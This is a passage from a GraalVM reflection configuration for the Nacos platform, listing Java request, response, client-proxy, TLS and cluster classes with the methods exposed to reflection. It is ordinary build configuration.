\"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getServiceName\",\"parameterTypes\":[] },\n    {\"name\":\"getGroupName\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.FuzzyWatchNotifyInitRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getServicesName\",\"parameterTypes\":[] },\n    {\"name\":\"getPattern\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.request.SubscribeServiceRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getClusters\",\"parameterTypes\":[] },\n    {\"name\":\"isSubscribe\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.BatchInstanceResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.InstanceResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setType\",\"parameterTypes\":[\"java.lang.String\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.NotifySubscriberResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.QueryServiceResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setServiceInfo\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.ServiceInfo\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.ServiceListResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setCount\",\"parameterTypes\":[\"int\"] },\n    {\"name\":\"setServiceNames\",\"parameterTypes\":[\"java.util.List\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.naming.remote.response.SubscribeServiceResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setServiceInfo\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.ServiceInfo\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.Payload\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.ability.ClientRemoteAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"isSupportRemoteConnection\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.ability.ServerRemoteAbility\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"isGrpcReportEnabled\",\"parameterTypes\":[] },\n    {\"name\":\"isSupportRemoteConnection\",\"parameterTypes\":[] },\n    {\"name\":\"setGrpcReportEnabled\",\"parameterTypes\":[\"boolean\"] },\n    {\"name\":\"setSupportRemoteConnection\",\"parameterTypes\":[\"boolean\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ClientDetectionRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getModule\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ConnectResetRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getConnectionId\",\"parameterTypes\":[] },\n    {\"name\":\"getModule\",\"parameterTypes\":[] },\n    {\"name\":\"getServerIp\",\"parameterTypes\":[] },\n    {\"name\":\"getServerPort\",\"parameterTypes\":[] }\n  ]\n},\n{\n\t\"name\": \"com.alibaba.nacos.api.remote.request.ConnectionSetupRequest\",\n\t\"allDeclaredFields\": true,\n\t\"allDeclaredConstructors\": true,\n\t\"methods\": [\n\t\t{\"name\": \"getAbilityTable\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getClientVersion\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getLabels\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"getTenant\",\"parameterTypes\": [ ]},\n\t\t{\"name\": \"setAbilityTable\",\"parameterTypes\": [\"java.util.Map\"]},\n\t\t{\"name\": \"setClientVersion\",\"parameterTypes\": [\"java.lang.String\"]},\n\t\t{\"name\": \"setLabels\",\"parameterTypes\": [\"java.util.Map\"]},\n\t\t{\"name\": \"setTenant\",\"parameterTypes\": [\"java.lang.String\"]}\n\t]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.HealthCheckRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.InternalRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getModule\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.PushAckRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getException\",\"parameterTypes\":[] },\n    {\"name\":\"getRequestId\",\"parameterTypes\":[] },\n    {\"name\":\"isSuccess\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.Request\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[\n    {\"name\":\"getHeaders\",\"parameterTypes\":[] }, \n    {\"name\":\"getRequestId\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ServerCheckRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ServerLoaderInfoRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.ServerReloadRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getReloadCount\",\"parameterTypes\":[] },\n    {\"name\":\"getReloadServer\",\"parameterTypes\":[] }\n  ]\n},\n  {\n    \"name\":\"com.alibaba.nacos.api.remote.request.ServerRequest\",\n    \"allDeclaredFields\":true,\n    \"queryAllDeclaredMethods\":true\n  },\n{\n  \"name\":\"com.alibaba.nacos.api.remote.request.SetupAckRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getAbilityTable\",\"parameterTypes\":[] },\n    {\"name\":\"getModule\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ClientDetectionResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ConnectResetResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ErrorResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.HealthCheckResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.Response\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[\n    {\"name\":\"setErrorCode\",\"parameterTypes\":[\"int\"] }, \n    {\"name\":\"setRequestId\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setResultCode\",\"parameterTypes\":[\"int\"] },\n    {\"name\":\"setMessage\",\"parameterTypes\":[\"java.lang.String\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ServerCheckResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] }, \n    {\"name\":\"setConnectionId\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setSupportAbilityNegotiation\",\"parameterTypes\":[\"boolean\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ServerLoaderInfoResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setLoaderMetrics\",\"parameterTypes\":[\"java.util.Map\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.ServerReloadResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.api.remote.response.SetupAckResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.auth.impl.NacosClientAuthServiceImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.auth.ram.RamClientAuthServiceImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.auth.ram.identify.CredentialListener\",\n  \"methods\":[{\"name\":\"onUpdateCredential\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.auth.ram.identify.CredentialWatcher\",\n  \"methods\":[{\"name\":\"stop\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.auth.ram.identify.StsCredentialHolder\"\n},\n  {\n    \"name\":\"com.alibaba.nacos.client.config.NacosConfigService\",\n    \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.util.Properties\"] }]\n  },\n  {\n    \"name\":\"com.alibaba.nacos.client.naming.NacosNamingService\",\n    \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.util.Properties\"] }]\n  },\n{\n  \"name\":\"com.alibaba.nacos.client.config.impl.ClientWorker\",\n  \"methods\":[\n    {\"name\":\"addTenantListeners\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, \n    {\"name\":\"addTenantListenersWithContent\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, \n    {\"name\":\"getAgent\",\"parameterTypes\":[] }, \n    {\"name\":\"getAgentName\",\"parameterTypes\":[] }, \n    {\"name\":\"getServerConfig\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"long\",\"boolean\"] }, \n    {\"name\":\"isHealthServer\",\"parameterTypes\":[] }, \n    {\"name\":\"publishConfig\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"removeConfig\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"removeTenantListener\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.config.listener.Listener\"] }, \n    {\"name\":\"shutdown\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.config.impl.ClientWorker$ConfigRpcTransportClient\",\n  \"methods\":[{\"name\":\"isHealthServer\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.config.impl.ServerListManager\",\n  \"methods\":[\n    {\"name\":\"getName\",\"parameterTypes\":[] }, \n    {\"name\":\"getNextServerAddr\",\"parameterTypes\":[] }, \n    {\"name\":\"getServerUrls\",\"parameterTypes\":[] }, \n    {\"name\":\"shutdown\",\"parameterTypes\":[] }, \n    {\"name\":\"start\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.logging.AbstractNacosLogging\",\n  \"methods\":[{\"name\":\"loadConfiguration\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.logging.log4j2.Log4J2NacosLogging\"\n},\n{\n  \"name\":\"com.alibaba.nacos.client.logging.log4j2.NacosClientPropertiesLookup\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.naming.cache.ServiceInfoHolder\",\n  \"methods\":[\n    {\"name\":\"getServiceInfoMap\",\"parameterTypes\":[] }, \n    {\"name\":\"processServiceInfo\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.ServiceInfo\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.naming.core.ServerListManager\",\n  \"methods\":[{\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.naming.event.InstancesChangeEvent\",\n  \"methods\":[\n    {\"name\":\"getClusters\",\"parameterTypes\":[] }, \n    {\"name\":\"getGroupName\",\"parameterTypes\":[] }, \n    {\"name\":\"getHosts\",\"parameterTypes\":[] }, \n    {\"name\":\"getServiceName\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.naming.event.InstancesChangeNotifier\",\n  \"methods\":[\n    {\"name\":\"deregisterListener\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.listener.EventListener\"] }, \n    {\"name\":\"getSubscribeServices\",\"parameterTypes\":[] }, \n    {\"name\":\"isSubscribed\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"registerListener\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.listener.EventListener\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.naming.remote.NamingClientProxy\",\n  \"methods\":[\n    {\"name\":\"batchDeregisterService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, \n    {\"name\":\"batchRegisterService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, \n    {\"name\":\"createService\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.Service\",\"com.alibaba.nacos.api.selector.AbstractSelector\"] }, \n    {\"name\":\"deleteService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"deregisterService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, \n    {\"name\":\"getServiceList\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\",\"com.alibaba.nacos.api.selector.AbstractSelector\"] }, \n    {\"name\":\"isSubscribed\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"queryInstancesOfService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"boolean\"] }, \n    {\"name\":\"queryService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"registerService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, \n    {\"name\":\"serverHealthy\",\"parameterTypes\":[] }, \n    {\"name\":\"subscribe\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"unsubscribe\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"updateInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, \n    {\"name\":\"updateService\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.Service\",\"com.alibaba.nacos.api.selector.AbstractSelector\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.naming.remote.gprc.NamingGrpcClientProxy\",\n  \"methods\":[\n    {\"name\":\"batchRegisterService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, \n    {\"name\":\"deregisterService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, \n    {\"name\":\"getServiceList\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\",\"com.alibaba.nacos.api.selector.AbstractSelector\"] }, \n    {\"name\":\"queryInstancesOfService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"boolean\"] }, \n    {\"name\":\"registerService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, \n    {\"name\":\"serverHealthy\",\"parameterTypes\":[] }, \n    {\"name\":\"shutdown\",\"parameterTypes\":[] }, \n    {\"name\":\"subscribe\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"unsubscribe\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.client.naming.remote.http.NamingHttpClientProxy\",\n  \"methods\":[\n    {\"name\":\"batchDeregisterService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, \n    {\"name\":\"batchRegisterService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.util.List\"] }, \n    {\"name\":\"createService\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.Service\",\"com.alibaba.nacos.api.selector.AbstractSelector\"] }, \n    {\"name\":\"deleteService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"deregisterService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, \n    {\"name\":\"getServiceList\",\"parameterTypes\":[\"int\",\"int\",\"java.lang.String\",\"com.alibaba.nacos.api.selector.AbstractSelector\"] }, \n    {\"name\":\"queryInstancesOfService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"int\",\"boolean\"] }, \n    {\"name\":\"queryService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"registerService\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, \n    {\"name\":\"serverHealthy\",\"parameterTypes\":[] }, \n    {\"name\":\"shutdown\",\"parameterTypes\":[] }, \n    {\"name\":\"subscribe\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"unsubscribe\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\"] }, \n    {\"name\":\"updateInstance\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"com.alibaba.nacos.api.naming.pojo.Instance\"] }, \n    {\"name\":\"updateService\",\"parameterTypes\":[\"com.alibaba.nacos.api.naming.pojo.Service\",\"com.alibaba.nacos.api.selector.AbstractSelector\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.http.HttpRestResult\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getHeader\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.http.client.InterceptingHttpClientRequest\"\n},\n{\n  \"name\":\"com.alibaba.nacos.common.http.client.NacosRestTemplate\",\n  \"methods\":[{\"name\":\"postForm\",\"parameterTypes\":[\"java.lang.String\",\"com.alibaba.nacos.common.http.param.Header\",\"com.alibaba.nacos.common.http.param.Query\",\"java.util.Map\",\"java.lang.reflect.Type\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.http.client.request.HttpClientRequest\",\n  \"methods\":[{\"name\":\"execute\",\"parameterTypes\":[\"java.net.URI\",\"java.lang.String\",\"com.alibaba.nacos.common.model.RequestHttpEntity\"] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.lifecycle.Closeable\",\n  \"methods\":[{\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.model.RestResult\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[\n    {\"name\":\"getCode\",\"parameterTypes\":[] }, \n    {\"name\":\"getData\",\"parameterTypes\":[] }, \n    {\"name\":\"getMessage\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.notify.DefaultPublisher\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.remote.TlsConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[\n    {\"name\":\"getCertChainFile\",\"parameterTypes\":[] }, \n    {\"name\":\"getCertPrivateKey\",\"parameterTypes\":[] }, \n    {\"name\":\"getCertPrivateKeyPassword\",\"parameterTypes\":[] }, \n    {\"name\":\"getCiphers\",\"parameterTypes\":[] }, \n    {\"name\":\"getEnableTls\",\"parameterTypes\":[] }, \n    {\"name\":\"getMutualAuthEnable\",\"parameterTypes\":[] }, \n    {\"name\":\"getProtocols\",\"parameterTypes\":[] }, \n    {\"name\":\"getSslProvider\",\"parameterTypes\":[] }, \n    {\"name\":\"getTrustAll\",\"parameterTypes\":[] }, \n    {\"name\":\"getTrustCollectionCertFile\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.common.remote.client.RpcClient\"\n},\n{\n  \"name\":\"com.alibaba.nacos.common.remote.client.RpcClientTlsConfig\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.Member\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getAbilities\",\"parameterTypes\":[] },\n    {\"name\":\"getAddress\",\"parameterTypes\":[] },\n    {\"name\":\"getExtendInfo\",\"parameterTypes\":[] },\n    {\"name\":\"getFailAccessCnt\",\"parameterTypes\":[] },\n    {\"name\":\"getIp\",\"parameterTypes\":[] },\n    {\"name\":\"getPort\",\"parameterTypes\":[] },\n    {\"name\":\"getState\",\"parameterTypes\":[] },\n    {\"name\":\"isGrpcReportEnabled\",\"parameterTypes\":[] },\n    {\"name\":\"setAbilities\",\"parameterTypes\":[\"com.alibaba.nacos.api.ability.ServerAbilities\"] },\n    {\"name\":\"setAddress\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setExtendInfo\",\"parameterTypes\":[\"java.util.Map\"] },\n    {\"name\":\"setFailAccessCnt\",\"parameterTypes\":[\"boolean\"] },\n    {\"name\":\"setGrpcReportEnabled\",\"parameterTypes\":[\"boolean\"] },\n    {\"name\":\"setIp\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setPort\",\"parameterTypes\":[\"int\"] },\n    {\"name\":\"setState\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.NodeState\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.remote.request.AbstractClusterRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"getModule\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.remote.request.MemberReportRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"getNode\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.cluster.remote.response.MemberReportResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setNode\",\"parameterTypes\":[\"com.alibaba.nacos.core.cluster.Member\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.entity.DistroData\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getContent\",\"parameterTypes\":[] },\n    {\"name\":\"getDistroKey\",\"parameterTypes\":[] },\n    {\"name\":\"getType\",\"parameterTypes\":[] },\n    {\"name\":\"setContent\",\"parameterTypes\":[\"byte[]\"] },\n    {\"name\":\"setDistroKey\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.distro.entity.DistroKey\"] },\n    {\"name\":\"setType\",\"parameterTypes\":[\"com.alibaba.nacos.consistency.DataOperation\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.core.distributed.distro.entity.DistroKey\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"getResourceKey\",\"parameterTypes\":[] },\n    {\"name\":\"getResourceType\",\"parameterTypes\":[] },\n    {\"name\":\"getTargetServer\",\"parameterTypes\":[] },\n    {\"name\":\"setResourceKey\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setResourceType\",\"parameterTypes\":[\"java.lang.String\"] },\n    {\"name\":\"setTargetServer\",\"parameterTypes\":[\"java.lang.String\"] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.remote.request.DistroDataRequest\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"getDataOperation\",\"parameterTypes\":[] },\n    {\"name\":\"getDistroData\",\"parameterTypes\":[] }\n  ]\n},\n{\n  \"name\":\"com.alibaba.nacos.naming.cluster.remote.response.DistroDataResponse\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[\n    {\"name\":\"<init>\",\"parameterTypes\":[] },\n    {\"name\":\"setDistroData\",\"parameterTypes\":[\"com.alibaba.nacos.core.distributed.distro.entity.DistroData\"] }\n  ]\n},\n{\n  \"name\":\"com.fasterxml.jackson.core.JsonParser\"\n},\n{\n  \"name\":\"com.fasterxml.jackson.databind.JsonNode\"\n},\n{\n  